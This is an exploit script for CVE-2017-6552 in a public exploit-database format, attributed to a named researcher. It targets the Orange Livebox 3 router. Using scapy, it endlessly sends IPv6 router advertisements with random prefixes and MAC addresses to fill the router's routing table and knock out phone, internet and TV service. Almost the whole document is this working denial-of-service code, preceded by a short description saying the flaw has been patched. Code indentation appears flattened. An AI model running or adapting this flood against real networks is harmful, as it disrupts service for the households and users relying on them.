#!/usr/bin/python
# Exploit Title: CVE-2017-6552 - Local DoS Buffer Overflow Livebox 3
# Date: 09/03/2017
# Exploit Author: Quentin Olagne
# Vendor Homepage: http://www.orange.fr/
# Version: SG30_sip-fr-5.15.8.1
# Tested on: Livebox 3 - Sagemcom
# CVE : CVE-2017-6552
'''
Livebox router has its default IPv6 routing table max. size too
small and therefore can be filled within minutes.
An attacker can exploit this issue to render the affected system
unresponsive, resulting in a denial-of-service condition for Phone,
Internet and TV services.
Vulenrability has been discovered in April '16 and has been patched some time ago with the newest firmware.
I have submitted the idea to have a button to enable/disable IPv6 stack on the local interface from the admin
livebox web UI, don't know if it's been implemented.
'''
from scapy.all import *
import time
import threading
start_time = time.time()
def printit():
threading.Timer(5.0, printit).start()
interval = time.time() - start_time
print 'Total time in seconds:', interval, '\n'
printit()
packet = Ether() \
/IPv6() \
/ICMPv6ND_RA() \
/ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \
/ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:01:42"))
try:
sendp(packet,loop=1)
except KeyboardInterrupt:
stored_exception=sys.exc_info()
except:
pass
print "Goodbye"